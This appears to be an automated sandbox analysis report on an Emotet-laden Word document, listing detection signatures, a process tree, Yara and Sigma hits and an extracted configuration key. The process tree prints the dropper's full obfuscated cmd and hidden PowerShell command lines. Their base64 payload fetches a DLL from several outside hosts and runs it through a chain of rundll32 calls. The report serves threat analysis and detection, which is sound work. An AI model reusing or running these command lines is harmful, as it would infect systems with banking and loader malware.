Loading ...

Play interactive tourEdit tour

Analysis Report Mensaje-22-012021.doc

Overview

General Information

Sample Name:Mensaje-22-012021.doc
Analysis ID:343897
MD5:5023f52efbf71865041baf66ae8411cb
SHA1:dc2aabc9b019199d32c000a8e18e63cafa4fbfd3
SHA256:f4f41ebd2b517564f8764fa21faa2b1a824694e29cb31a2f149245e7bd42ab24

Most interesting Screenshot:

Detection

Emotet
Score:100
Range:0 - 100
Whitelisted:false
Confidence:100%

Signatures

Antivirus detection for URL or domain
Multi AV Scanner detection for domain / URL
Multi AV Scanner detection for submitted file
Yara detected Emotet
Creates processes via WMI
Document contains an embedded VBA with many GOTO operations indicating source code obfuscation
Document contains an embedded VBA with many string operations indicating source code obfuscation
Encrypted powershell cmdline option found
Hides that the sample has been downloaded from the Internet (zone.identifier)
Obfuscated command line found
Potential dropper URLs found in powershell memory
Sigma detected: Suspicious Call by Ordinal
Sigma detected: Suspicious Encoded PowerShell Command Line
Suspicious powershell command line found
Very long command line found
Abnormal high CPU Usage
Allocates memory within range which is reserved for system DLLs (kernel32.dll, advapi32.dll, etc)
Antivirus or Machine Learning detection for unpacked file
Contains functionality to dynamically determine API calls
Contains functionality to read the PEB
Contains long sleeps (>= 3 min)
Creates a process in suspended mode (likely to inject code)
Creates files inside the system directory
Detected potential crypto function
Document contains an embedded VBA macro which executes code when the document is opened / closed
Document contains embedded VBA macros
Enables debug privileges
HTTP GET or POST without a user agent
Internet Provider seen in connection with other malware
May sleep (evasive loops) to hinder dynamic analysis
Potential document exploit detected (performs DNS queries)
Potential document exploit detected (performs HTTP gets)
Potential document exploit detected (unknown TCP traffic)
Queries the volume information (name, serial number etc) of a device
Uses code obfuscation techniques (call, push, ret)
Very long cmdline option found, this is very uncommon (may be encrypted or packed)

Classification

Startup

  • System is w7x64
  • WINWORD.EXE (PID: 2436 cmdline: 'C:\Program Files\Microsoft Office\Office14\WINWORD.EXE' /Automation -Embedding MD5: 95C38D04597050285A18F66039EDB456)
  • cmd.exe (PID: 2384 cmdline: cmd cmd /c m^s^g %username% /v Wo^rd exp^erien^ced an er^ror tryi^ng to op^en th^e fi^le. & p^owe^rs^he^ll^ -w hi^dd^en -^e^nc IAAgAHMAZQBUAC0AVgBhAHIASQBhAGIAbABlACAAIAAoACcARwAnACsAJwBIAHAAJwApACAAIAAoAFsAdABZAFAAZQBdACgAIgB7ADMAfQB7ADIAfQB7ADUAfQB7ADQAfQB7ADYAfQB7ADEAfQB7ADAAfQAiAC0AZgAgACcAWQAnACwAJwBUAE8AUgAnACwAJwBZACcALAAnAFMAJwAsACcASQByACcALAAnAHMAdABlAG0ALgBJAG8ALgBkACcALAAnAEUAQwAnACkAIAAgACkAIAAgADsAIAAgACAAJABYAG8AMwA3AHQAIAAgAD0AIAAgAFsAVABZAHAARQBdACgAIgB7ADIAfQB7ADMAfQB7ADEAfQB7ADAAfQB7ADQAfQAiAC0AZgAnAE4AdABNAEEAbgBhAEcAZQAnACwAJwBtAC4AbgBFAHQALgBTAEUAUgBWAEkAQwBlAFAAbwBpACcALAAnAHMAWQBzAFQAJwAsACcAZQAnACwAJwBSACcAKQA7ACAAJABNAHAAZAB5AHIAXwAxAD0AJABOADUAXwBHACAAKwAgAFsAYwBoAGEAcgBdACgAMwAzACkAIAArACAAJABIADkAMgBLADsAJABHADgANQBWAD0AKAAnAFAAJwArACgAJwA1ACcAKwAnADcAQgAnACkAKQA7ACAAIAAoACAAIABpAFQAZQBNACAAKAAnAFYAQQAnACsAJwBSAGkAYQBiAEwAJwArACcAZQA6AEcASABQACcAKQApAC4AdgBBAGwAdQBlADoAOgAiAEMAUgBFAGAAQQB0AGAARQBEAGAAaQByAEUAQwB0AE8AcgB5ACIAKAAkAEgATwBNAEUAIAArACAAKAAoACcAewAwAH0ATwAzAHAAcAAxAGIAJwArACcANQB7ACcAKwAnADAAfQAnACsAKAAnAFkAOAA0AHYAaABkACcAKwAnAGgAJwApACsAJwB7ADAAfQAnACkAIAAgAC0ARgAgAFsAQwBIAGEAcgBdADkAMgApACkAOwAkAEMANAA2AFIAPQAoACcAQgA0ACcAKwAnADEASwAnACkAOwAgACgAIABkAGkAcgAgACAAdgBhAFIASQBhAEIAbABFADoAWABPADMANwB0ACAAIAApAC4AVgBhAGwAVQBlADoAOgAiAFMAZQBDAFUAcgBJAHQAYAB5AFAAcgBvAHQAbwBgAEMAYABvAEwAIgAgAD0AIAAoACgAJwBUACcAKwAnAGwAcwAxACcAKQArACcAMgAnACkAOwAkAEkANQAzAEgAPQAoACgAJwBDADEAJwArACcANQAnACkAKwAnAEUAJwApADsAJABQAGYAXwB3AHkAcwAzACAAPQAgACgAKAAnAEEAJwArACcANAAxACcAKQArACcATwAnACkAOwAkAEUANAAyAFQAPQAoACgAJwBEADcAJwArACcAMQAnACkAKwAnAEgAJwApADsAJABJADMAegAyAGMAcwByAD0AJABIAE8ATQBFACsAKAAoACgAJwBGAFoAbwBPACcAKwAnADMAJwArACcAcABwADEAJwApACsAKAAnAGIANQBGAFoAJwArACcAbwBZADgAJwArACcANAB2AGgAJwApACsAJwBkACcAKwAnAGgAJwArACgAJwBGAFoAJwArACcAbwAnACkAKQAuACIAcgBFAFAAYABMAGAAQQBDAEUAIgAoACgAJwBGACcAKwAnAFoAbwAnACkALABbAFMAVABSAGkAbgBHAF0AWwBjAGgAQQByAF0AOQAyACkAKQArACQAUABmAF8AdwB5AHMAMwArACcALgBkACcAIAArACAAJwBsAGwAJwA7ACQARQAwADQARQA9ACgAKAAnAFoAJwArACcAOQA5ACcAKQArACcAUQAnACkAOwAkAFMAOAA0AGgAOQBoAG4APQAnAGgAJwAgACsAIAAnAHQAdAAnACAAKwAgACcAcAAnADsAJABGAG8AdQBvADEAaAAxAD0AKAAoACcAeAAgACcAKwAnAFsAJwArACcAIABzAGgAIABiACcAKwAnADoALwAvAHUAJwApACsAKAAnAGEAZwAnACsAJwByACcAKQArACcAaQB0ACcAKwAnAGUAYwAnACsAJwBoACcAKwAoACcALgAnACsAJwBjAG8AJwApACsAKAAnAG0AJwArACcALwBjACcAKwAnAGcAaQAtAGIAJwApACsAJwBpACcAKwAoACcAbgAvACcAKwAnAGEANQBHACcAKwAnAC8AIQB4ACcAKQArACcAIABbACcAKwAoACcAIAAnACsAJwBzAGgAJwArACcAIAAnACsAJwBiADoALwAvACcAKwAnAHcAdwB3AC4AOQAxAHkAJwApACsAKAAnAHUAZABhACcAKwAnAG8AJwArACcALgBjAG8AJwApACsAKAAnAG0ALwB3AHAAJwArACcALQAnACsAJwBhAGQAJwApACsAKAAnAG0AaQBuAC8AJwArACcASwBLAEgAJwArACcAdAAnACkAKwAoACcAMQAvACEAeAAgAFsAJwArACcAIAAnACsAJwBzAGgAIABiACcAKwAnADoALwAnACkAKwAnAC8AJwArACgAJwB5AG8AJwArACcAdQByAGMAJwApACsAKAAnAGwAZQBhAG4AZQByAHMAdQByACcAKwAnAGYAYQAnACsAJwBjAGUAJwArACcAcwAnACkAKwAoACcALgBjAG8AbQAnACsAJwAvACcAKQArACgAJwBmAG8AJwArACcAdQByAC0AJwApACsAKAAnAG0AJwArACcAbwBuACcAKwAnAGsAcwAtAGEAYwBhAHMAegAvAE8AJwApACsAJwAyAG0AJwArACcAeQAnACsAKAAnAC8AIQB4ACAAJwArACcAWwAnACkAKwAnACAAcwAnACsAKAAnAGgAJwArACcAIABiADoAJwArACcALwAnACsAJwAvAGwAYQB5AG0AYQBuACcAKQArACgAJwBjAG8AJwArACcAZAAnACkAKwAnAGUAcgAnACsAJwAuAGMAJwArACcAbwAnACsAKAAnAG0ALwAnACsAJwByACcAKQArACgAJwB1AHMAdABpAGMALQBkAGUAYwAnACsAJwBvACcAKwAnAHIAJwApACsAKAAnAC0AMQBnACcAKwAnAGIAJwArACcAYQBkAC8AVQBzAC8AIQB4ACAAWwAgACcAKQArACgAJwBzAGgAIAAnACsAJwBiAHMAOgAvAC8AJwArACcAcgBiACcAKwAnAGQAJwApACsAJwBjAGsAJwArACcALgAnACsAKAAnAGMAJwArACcAbwBtAC8AJwApACsAKAAnAHcAcAAtAGMAJwArACcAbwBuAHQAJwApACsAKAAnAGUAbgAnACsAJwB0ACcAKQArACgAJwAvAHUAJwArACcAcABsAG8AYQBkAHMALwBzAHUAYwAnACsAJwB1ACcAKwAnAHIAaQAvAGwAZQAnACsAJwB3AGYAJwApACsAKAAnAEsALwAhACcAKwAnAHgAIAAnACkAKwAnAFsAIAAnACsAJwBzAGgAJwArACcAIABiACcAKwAnAHMAJwArACcAOgAvACcAKwAoACcALwBmAGkAZgBhACcAKwAnAGMAbwBpACcAKwAnAG4AcwBiAG8AJwArACcAeAAuAGMAJwApACsAKAAnAG8AJwArACcAbQAvAHcAJwApACsAKAAnAHAALQAnACsAJwBjACcAKQArACgAJwBvACcAKwAnAG4AdAAnACsAJwBlAG4AdAAvADcAZwBZACcAKQArACgAJwB0AC8AIQAnACsAJwB4ACAAJwApACsAKAAnAFsAJwArACcAIABzAGgAIAAnACsAJwBiACcAKwAnADoALwAvAHMAZQBhAG0AYQAnACkAKwAnAHIAdAAnACsAKAAnAC4AaQAnACsAJwBuAGYAJwApACsAJwBvACcAKwAoACcALwBhACcAKwAnAGwAZgBhACcAKwAnAGMAZwBpAGEAcABpACcAKQArACgAJwAvAHEAJwArACcAOQAyAEEALwAnACkAKQAuACIAUgBlAHAATABgAEEAYABjAGUAIgAoACgAJwB4ACcAKwAoACcAIABbACcAKwAnACAAcwAnACkAKwAoACcAaAAnACsAJwAgAGIAJwApACkALAAoAFsAYQByAHIAYQB5AF0AKAAnAG4AagAnACwAJwB0AHIAJwApACwAJwB5AGoAJwAsACcAcwBjACcALAAkAFMAOAA0AGgAOQBoAG4ALAAnAHcAZAAnACkAWwAzAF0AKQAuACIAcwBQAEwAYABJAHQAIgAoACQAWAA1ADIAUgAgACsAIAAkAE0AcABkAHkAcgBfADEAIAArACAAJABQAF8ANQBUACkAOwAkAFUANABfAFgAPQAoACcAVAAyACcAKwAnADMARQAnACkAOwBmAG8AcgBlAGEAYwBoACAAKAAkAEkAagB2AHoAZwBfAHIAIABpAG4AIAAkAEYAbwB1AG8AMQBoADEAKQB7AHQAcgB5AHsAKAAmACgAJwBOAGUAdwAtACcAKwAnAE8AJwArACcAYgBqAGUAYwB0ACcAKQAgAFMAWQBzAHQARQBtAC4ATgBlAHQALgB3AGUAYgBjAGwAaQBlAE4AVAApAC4AIgBEAE8AdwBuAGAAbABPAEEAZABgAEYASQBsAGUAIgAoACQASQBqAHYAegBnAF8AcgAsACAAJABJADMAegAyAGMAcwByACkAOwAkAFMANABfAFAAPQAoACgAJwBGACcAKwAnADgAMwAnACkAKwAnAEIAJwApADsASQBmACAAKAAoACYAKAAnAEcAZQB0AC0ASQB0AGUAJwArACcAbQAnACkAIAAkAEkAMwB6ADIAYwBzAHIAKQAuACIAbABFAGAATgBnAFQAaAAiACAALQBnAGUAIAAzADYAMQAzADAAKQAgAHsALgAoACcAcgB1AG4AZABsACcAKwAnAGwAMwAnACsAJwAyACcAKQAgACQASQAzAHoAMgBjAHMAcgAsACgAJwBBACcAKwAnAG4AJwArACcAeQAnACsAKAAnAFMAdAByAGkAbgAnACsAJwBnACcAKQApAC4AIgB0AG8AUwBgAFQAcgBgAEkATgBHACIAKAApADsAJABOADUAOQBYAD0AKAAnAEYAJwArACgAJwA1ADgAJwArACcAUQAnACkAKQA7AGIAcgBlAGEAawA7ACQARgA0ADUAWAA9ACgAKAAnAFoANQAnACsAJwAzACcAKQArACcASwAnACkAfQB9AGMAYQB0AGMAaAB7AH0AfQAkAE0ANwBfAEMAPQAoACcATQA2ACcAKwAnADgAVwAnACkA MD5: 5746BD7E255DD6A8AFA06F7C42C1BA41)
    • msg.exe (PID: 2528 cmdline: msg user /v Word experienced an error trying to open the file. MD5: 2214979661E779C3E3C33D4F14E6F3AC)
    • powershell.exe (PID: 2324 cmdline: powershell -w hidden -enc IAAgAHMAZQBUAC0AVgBhAHIASQBhAGIAbABlACAAIAAoACcARwAnACsAJwBIAHAAJwApACAAIAAoAFsAdABZAFAAZQBdACgAIgB7ADMAfQB7ADIAfQB7ADUAfQB7ADQAfQB7ADYAfQB7ADEAfQB7ADAAfQAiAC0AZgAgACcAWQAnACwAJwBUAE8AUgAnACwAJwBZACcALAAnAFMAJwAsACcASQByACcALAAnAHMAdABlAG0ALgBJAG8ALgBkACcALAAnAEUAQwAnACkAIAAgACkAIAAgADsAIAAgACAAJABYAG8AMwA3AHQAIAAgAD0AIAAgAFsAVABZAHAARQBdACgAIgB7ADIAfQB7ADMAfQB7ADEAfQB7ADAAfQB7ADQAfQAiAC0AZgAnAE4AdABNAEEAbgBhAEcAZQAnACwAJwBtAC4AbgBFAHQALgBTAEUAUgBWAEkAQwBlAFAAbwBpACcALAAnAHMAWQBzAFQAJwAsACcAZQAnACwAJwBSACcAKQA7ACAAJABNAHAAZAB5AHIAXwAxAD0AJABOADUAXwBHACAAKwAgAFsAYwBoAGEAcgBdACgAMwAzACkAIAArACAAJABIADkAMgBLADsAJABHADgANQBWAD0AKAAnAFAAJwArACgAJwA1ACcAKwAnADcAQgAnACkAKQA7ACAAIAAoACAAIABpAFQAZQBNACAAKAAnAFYAQQAnACsAJwBSAGkAYQBiAEwAJwArACcAZQA6AEcASABQACcAKQApAC4AdgBBAGwAdQBlADoAOgAiAEMAUgBFAGAAQQB0AGAARQBEAGAAaQByAEUAQwB0AE8AcgB5ACIAKAAkAEgATwBNAEUAIAArACAAKAAoACcAewAwAH0ATwAzAHAAcAAxAGIAJwArACcANQB7ACcAKwAnADAAfQAnACsAKAAnAFkAOAA0AHYAaABkACcAKwAnAGgAJwApACsAJwB7ADAAfQAnACkAIAAgAC0ARgAgAFsAQwBIAGEAcgBdADkAMgApACkAOwAkAEMANAA2AFIAPQAoACcAQgA0ACcAKwAnADEASwAnACkAOwAgACgAIABkAGkAcgAgACAAdgBhAFIASQBhAEIAbABFADoAWABPADMANwB0ACAAIAApAC4AVgBhAGwAVQBlADoAOgAiAFMAZQBDAFUAcgBJAHQAYAB5AFAAcgBvAHQAbwBgAEMAYABvAEwAIgAgAD0AIAAoACgAJwBUACcAKwAnAGwAcwAxACcAKQArACcAMgAnACkAOwAkAEkANQAzAEgAPQAoACgAJwBDADEAJwArACcANQAnACkAKwAnAEUAJwApADsAJABQAGYAXwB3AHkAcwAzACAAPQAgACgAKAAnAEEAJwArACcANAAxACcAKQArACcATwAnACkAOwAkAEUANAAyAFQAPQAoACgAJwBEADcAJwArACcAMQAnACkAKwAnAEgAJwApADsAJABJADMAegAyAGMAcwByAD0AJABIAE8ATQBFACsAKAAoACgAJwBGAFoAbwBPACcAKwAnADMAJwArACcAcABwADEAJwApACsAKAAnAGIANQBGAFoAJwArACcAbwBZADgAJwArACcANAB2AGgAJwApACsAJwBkACcAKwAnAGgAJwArACgAJwBGAFoAJwArACcAbwAnACkAKQAuACIAcgBFAFAAYABMAGAAQQBDAEUAIgAoACgAJwBGACcAKwAnAFoAbwAnACkALABbAFMAVABSAGkAbgBHAF0AWwBjAGgAQQByAF0AOQAyACkAKQArACQAUABmAF8AdwB5AHMAMwArACcALgBkACcAIAArACAAJwBsAGwAJwA7ACQARQAwADQARQA9ACgAKAAnAFoAJwArACcAOQA5ACcAKQArACcAUQAnACkAOwAkAFMAOAA0AGgAOQBoAG4APQAnAGgAJwAgACsAIAAnAHQAdAAnACAAKwAgACcAcAAnADsAJABGAG8AdQBvADEAaAAxAD0AKAAoACcAeAAgACcAKwAnAFsAJwArACcAIABzAGgAIABiACcAKwAnADoALwAvAHUAJwApACsAKAAnAGEAZwAnACsAJwByACcAKQArACcAaQB0ACcAKwAnAGUAYwAnACsAJwBoACcAKwAoACcALgAnACsAJwBjAG8AJwApACsAKAAnAG0AJwArACcALwBjACcAKwAnAGcAaQAtAGIAJwApACsAJwBpACcAKwAoACcAbgAvACcAKwAnAGEANQBHACcAKwAnAC8AIQB4ACcAKQArACcAIABbACcAKwAoACcAIAAnACsAJwBzAGgAJwArACcAIAAnACsAJwBiADoALwAvACcAKwAnAHcAdwB3AC4AOQAxAHkAJwApACsAKAAnAHUAZABhACcAKwAnAG8AJwArACcALgBjAG8AJwApACsAKAAnAG0ALwB3AHAAJwArACcALQAnACsAJwBhAGQAJwApACsAKAAnAG0AaQBuAC8AJwArACcASwBLAEgAJwArACcAdAAnACkAKwAoACcAMQAvACEAeAAgAFsAJwArACcAIAAnACsAJwBzAGgAIABiACcAKwAnADoALwAnACkAKwAnAC8AJwArACgAJwB5AG8AJwArACcAdQByAGMAJwApACsAKAAnAGwAZQBhAG4AZQByAHMAdQByACcAKwAnAGYAYQAnACsAJwBjAGUAJwArACcAcwAnACkAKwAoACcALgBjAG8AbQAnACsAJwAvACcAKQArACgAJwBmAG8AJwArACcAdQByAC0AJwApACsAKAAnAG0AJwArACcAbwBuACcAKwAnAGsAcwAtAGEAYwBhAHMAegAvAE8AJwApACsAJwAyAG0AJwArACcAeQAnACsAKAAnAC8AIQB4ACAAJwArACcAWwAnACkAKwAnACAAcwAnACsAKAAnAGgAJwArACcAIABiADoAJwArACcALwAnACsAJwAvAGwAYQB5AG0AYQBuACcAKQArACgAJwBjAG8AJwArACcAZAAnACkAKwAnAGUAcgAnACsAJwAuAGMAJwArACcAbwAnACsAKAAnAG0ALwAnACsAJwByACcAKQArACgAJwB1AHMAdABpAGMALQBkAGUAYwAnACsAJwBvACcAKwAnAHIAJwApACsAKAAnAC0AMQBnACcAKwAnAGIAJwArACcAYQBkAC8AVQBzAC8AIQB4ACAAWwAgACcAKQArACgAJwBzAGgAIAAnACsAJwBiAHMAOgAvAC8AJwArACcAcgBiACcAKwAnAGQAJwApACsAJwBjAGsAJwArACcALgAnACsAKAAnAGMAJwArACcAbwBtAC8AJwApACsAKAAnAHcAcAAtAGMAJwArACcAbwBuAHQAJwApACsAKAAnAGUAbgAnACsAJwB0ACcAKQArACgAJwAvAHUAJwArACcAcABsAG8AYQBkAHMALwBzAHUAYwAnACsAJwB1ACcAKwAnAHIAaQAvAGwAZQAnACsAJwB3AGYAJwApACsAKAAnAEsALwAhACcAKwAnAHgAIAAnACkAKwAnAFsAIAAnACsAJwBzAGgAJwArACcAIABiACcAKwAnAHMAJwArACcAOgAvACcAKwAoACcALwBmAGkAZgBhACcAKwAnAGMAbwBpACcAKwAnAG4AcwBiAG8AJwArACcAeAAuAGMAJwApACsAKAAnAG8AJwArACcAbQAvAHcAJwApACsAKAAnAHAALQAnACsAJwBjACcAKQArACgAJwBvACcAKwAnAG4AdAAnACsAJwBlAG4AdAAvADcAZwBZACcAKQArACgAJwB0AC8AIQAnACsAJwB4ACAAJwApACsAKAAnAFsAJwArACcAIABzAGgAIAAnACsAJwBiACcAKwAnADoALwAvAHMAZQBhAG0AYQAnACkAKwAnAHIAdAAnACsAKAAnAC4AaQAnACsAJwBuAGYAJwApACsAJwBvACcAKwAoACcALwBhACcAKwAnAGwAZgBhACcAKwAnAGMAZwBpAGEAcABpACcAKQArACgAJwAvAHEAJwArACcAOQAyAEEALwAnACkAKQAuACIAUgBlAHAATABgAEEAYABjAGUAIgAoACgAJwB4ACcAKwAoACcAIABbACcAKwAnACAAcwAnACkAKwAoACcAaAAnACsAJwAgAGIAJwApACkALAAoAFsAYQByAHIAYQB5AF0AKAAnAG4AagAnACwAJwB0AHIAJwApACwAJwB5AGoAJwAsACcAcwBjACcALAAkAFMAOAA0AGgAOQBoAG4ALAAnAHcAZAAnACkAWwAzAF0AKQAuACIAcwBQAEwAYABJAHQAIgAoACQAWAA1ADIAUgAgACsAIAAkAE0AcABkAHkAcgBfADEAIAArACAAJABQAF8ANQBUACkAOwAkAFUANABfAFgAPQAoACcAVAAyACcAKwAnADMARQAnACkAOwBmAG8AcgBlAGEAYwBoACAAKAAkAEkAagB2AHoAZwBfAHIAIABpAG4AIAAkAEYAbwB1AG8AMQBoADEAKQB7AHQAcgB5AHsAKAAmACgAJwBOAGUAdwAtACcAKwAnAE8AJwArACcAYgBqAGUAYwB0ACcAKQAgAFMAWQBzAHQARQBtAC4ATgBlAHQALgB3AGUAYgBjAGwAaQBlAE4AVAApAC4AIgBEAE8AdwBuAGAAbABPAEEAZABgAEYASQBsAGUAIgAoACQASQBqAHYAegBnAF8AcgAsACAAJABJADMAegAyAGMAcwByACkAOwAkAFMANABfAFAAPQAoACgAJwBGACcAKwAnADgAMwAnACkAKwAnAEIAJwApADsASQBmACAAKAAoACYAKAAnAEcAZQB0AC0ASQB0AGUAJwArACcAbQAnACkAIAAkAEkAMwB6ADIAYwBzAHIAKQAuACIAbABFAGAATgBnAFQAaAAiACAALQBnAGUAIAAzADYAMQAzADAAKQAgAHsALgAoACcAcgB1AG4AZABsACcAKwAnAGwAMwAnACsAJwAyACcAKQAgACQASQAzAHoAMgBjAHMAcgAsACgAJwBBACcAKwAnAG4AJwArACcAeQAnACsAKAAnAFMAdAByAGkAbgAnACsAJwBnACcAKQApAC4AIgB0AG8AUwBgAFQAcgBgAEkATgBHACIAKAApADsAJABOADUAOQBYAD0AKAAnAEYAJwArACgAJwA1ADgAJwArACcAUQAnACkAKQA7AGIAcgBlAGEAawA7ACQARgA0ADUAWAA9ACgAKAAnAFoANQAnACsAJwAzACcAKQArACcASwAnACkAfQB9AGMAYQB0AGMAaAB7AH0AfQAkAE0ANwBfAEMAPQAoACcATQA2ACcAKwAnADgAVwAnACkA MD5: 852D67A27E454BD389FA7F02A8CBE23F)
      • rundll32.exe (PID: 2032 cmdline: 'C:\Windows\system32\rundll32.exe' C:\Users\user\O3pp1b5\Y84vhdh\A41O.dll AnyString MD5: DD81D91FF3B0763C392422865C9AC12E)
        • rundll32.exe (PID: 2732 cmdline: 'C:\Windows\system32\rundll32.exe' C:\Users\user\O3pp1b5\Y84vhdh\A41O.dll AnyString MD5: 51138BEEA3E2C21EC44D0932C71762A8)
          • rundll32.exe (PID: 972 cmdline: C:\Windows\SysWOW64\rundll32.exe 'C:\Users\user\O3pp1b5\Y84vhdh\A41O.dll',#1 MD5: 51138BEEA3E2C21EC44D0932C71762A8)
            • rundll32.exe (PID: 2908 cmdline: C:\Windows\SysWOW64\rundll32.exe 'C:\Windows\SysWOW64\Eeyfocnhd\rdcslqee.tfa',YbeYBwKPvEN MD5: 51138BEEA3E2C21EC44D0932C71762A8)
              • rundll32.exe (PID: 824 cmdline: C:\Windows\SysWOW64\rundll32.exe 'C:\Windows\SysWOW64\Eeyfocnhd\rdcslqee.tfa',#1 MD5: 51138BEEA3E2C21EC44D0932C71762A8)
                • rundll32.exe (PID: 2188 cmdline: C:\Windows\SysWOW64\rundll32.exe 'C:\Windows\SysWOW64\Ildimivpppjhtpz\eazqsushdwhbfu.ifu',kkHcNcnl MD5: 51138BEEA3E2C21EC44D0932C71762A8)
                  • rundll32.exe (PID: 3028 cmdline: C:\Windows\SysWOW64\rundll32.exe 'C:\Windows\SysWOW64\Ildimivpppjhtpz\eazqsushdwhbfu.ifu',#1 MD5: 51138BEEA3E2C21EC44D0932C71762A8)
                    • rundll32.exe (PID: 2992 cmdline: C:\Windows\SysWOW64\rundll32.exe 'C:\Windows\SysWOW64\Fmdnydfawb\oqvjuvcbq.olk',kIWFufWNhCJ MD5: 51138BEEA3E2C21EC44D0932C71762A8)
                      • rundll32.exe (PID: 1476 cmdline: C:\Windows\SysWOW64\rundll32.exe 'C:\Windows\SysWOW64\Fmdnydfawb\oqvjuvcbq.olk',#1 MD5: 51138BEEA3E2C21EC44D0932C71762A8)
                        • rundll32.exe (PID: 1948 cmdline: C:\Windows\SysWOW64\rundll32.exe 'C:\Windows\SysWOW64\Qwyewmqcy\rawdlpqy.lat',jKmVZCpuSZSXyAJ MD5: 51138BEEA3E2C21EC44D0932C71762A8)
                          • rundll32.exe (PID: 1836 cmdline: C:\Windows\SysWOW64\rundll32.exe 'C:\Windows\SysWOW64\Qwyewmqcy\rawdlpqy.lat',#1 MD5: 51138BEEA3E2C21EC44D0932C71762A8)
                            • rundll32.exe (PID: 884 cmdline: C:\Windows\SysWOW64\rundll32.exe 'C:\Windows\SysWOW64\Cryxkxijzq\qqczujwsu.vhn',LFytx MD5: 51138BEEA3E2C21EC44D0932C71762A8)
                              • rundll32.exe (PID: 2536 cmdline: C:\Windows\SysWOW64\rundll32.exe 'C:\Windows\SysWOW64\Cryxkxijzq\qqczujwsu.vhn',#1 MD5: 51138BEEA3E2C21EC44D0932C71762A8)
                                • rundll32.exe (PID: 2288 cmdline: C:\Windows\SysWOW64\rundll32.exe 'C:\Windows\SysWOW64\Qaatclqucsvpjzyl\gfpifopxbsfonqs.zax',MAwEWTVYSMc MD5: 51138BEEA3E2C21EC44D0932C71762A8)
                                  • rundll32.exe (PID: 2888 cmdline: C:\Windows\SysWOW64\rundll32.exe 'C:\Windows\SysWOW64\Qaatclqucsvpjzyl\gfpifopxbsfonqs.zax',#1 MD5: 51138BEEA3E2C21EC44D0932C71762A8)
                                    • rundll32.exe (PID: 2308 cmdline: C:\Windows\SysWOW64\rundll32.exe 'C:\Windows\SysWOW64\Bpckjlpwgpssel\qweijehrgslfr.bwc',jvGjlVYmjUQdf MD5: 51138BEEA3E2C21EC44D0932C71762A8)
                                      • rundll32.exe (PID: 2700 cmdline: C:\Windows\SysWOW64\rundll32.exe 'C:\Windows\SysWOW64\Bpckjlpwgpssel\qweijehrgslfr.bwc',#1 MD5: 51138BEEA3E2C21EC44D0932C71762A8)
                                        • rundll32.exe (PID: 152 cmdline: C:\Windows\SysWOW64\rundll32.exe 'C:\Windows\SysWOW64\Usmneuxccxh\yvkvjeybon.rgv',ymrQU MD5: 51138BEEA3E2C21EC44D0932C71762A8)
                                          • rundll32.exe (PID: 964 cmdline: C:\Windows\SysWOW64\rundll32.exe 'C:\Windows\SysWOW64\Usmneuxccxh\yvkvjeybon.rgv',#1 MD5: 51138BEEA3E2C21EC44D0932C71762A8)
  • cleanup

Malware Configuration

Threatname: Emotet

{"RSA Public Key": "MHwwDQYJKoZIhvcNAQEBBQADawAwaAJhAOZ9fLJ8UrI0OZURpPsR3eijAyfPj3z6\nuS75f2igmYFW2aWgNcFIzsAYQleKzD0nlCFHOo7Zf8/4wY2UW0CJ4dJEHnE/PHlz\n6uNk3pxjm7o4eCDyiJbzf+k0Azjl0q54FQIDAQAB"}

Yara Overview

Memory Dumps

SourceRuleDescriptionAuthorStrings
00000014.00000002.2315698763.0000000000220000.00000040.00000001.sdmpJoeSecurity_EmotetYara detected EmotetJoe Security
    0000000B.00000002.2216468622.00000000001B0000.00000040.00000001.sdmpJoeSecurity_EmotetYara detected EmotetJoe Security
      0000000B.00000002.2216501392.0000000000210000.00000040.00000001.sdmpJoeSecurity_EmotetYara detected EmotetJoe Security
        00000010.00000002.2272217705.0000000000200000.00000040.00000001.sdmpJoeSecurity_EmotetYara detected EmotetJoe Security
          00000017.00000002.2351060980.0000000000290000.00000040.00000001.sdmpJoeSecurity_EmotetYara detected EmotetJoe Security
            Click to see the 46 entries

            Unpacked PEs

            SourceRuleDescriptionAuthorStrings
            12.2.rundll32.exe.10000000.3.raw.unpackJoeSecurity_EmotetYara detected EmotetJoe Security
              18.2.rundll32.exe.10000000.3.raw.unpackJoeSecurity_EmotetYara detected EmotetJoe Security
                7.2.rundll32.exe.210000.1.unpackJoeSecurity_EmotetYara detected EmotetJoe Security
                  9.2.rundll32.exe.2b0000.1.raw.unpackJoeSecurity_EmotetYara detected EmotetJoe Security
                    14.2.rundll32.exe.6d0000.0.unpackJoeSecurity_EmotetYara detected EmotetJoe Security
                      Click to see the 97 entries

                      Sigma Overview

                      System Summary:

                      barindex
                      Sigma detected: Suspicious Call by OrdinalShow sources
                      Source: Process startedAuthor: Florian Roth: Data: Command: C:\Windows\SysWOW64\rundll32.exe 'C:\Users\user\O3pp1b5\Y84vhdh\A41O.dll',#1, CommandLine: C:\Windows\SysWOW64\rundll32.exe 'C:\Users\user\O3pp1b5\Y84vhdh\A41O.dll',#1, CommandLine|base64offset|contains: , Image: C:\Windows\SysWOW64\rundll32.exe, NewProcessName: C:\Windows\SysWOW64\rundll32.exe, OriginalFileName: C:\Windows\SysWOW64\rundll32.exe, ParentCommandLine: 'C:\Windows\system32\rundll32.exe' C:\Users\user\O3pp1b5\Y84vhdh\A41O.dll AnyString, ParentImage: C:\Windows\SysWOW64\rundll32.exe, ParentProcessId: 2732, ProcessCommandLine: C:\Windows\SysWOW64\rundll32.exe 'C:\Users\user\O3pp1b5\Y84vhdh\A41O.dll',#1, ProcessId: 972
                      Sigma detected: Suspicious Encoded PowerShell Command LineShow sources
                      Source: Process startedAuthor: Florian Roth, Markus Neis: Data: Command: powershell -w hidden -enc 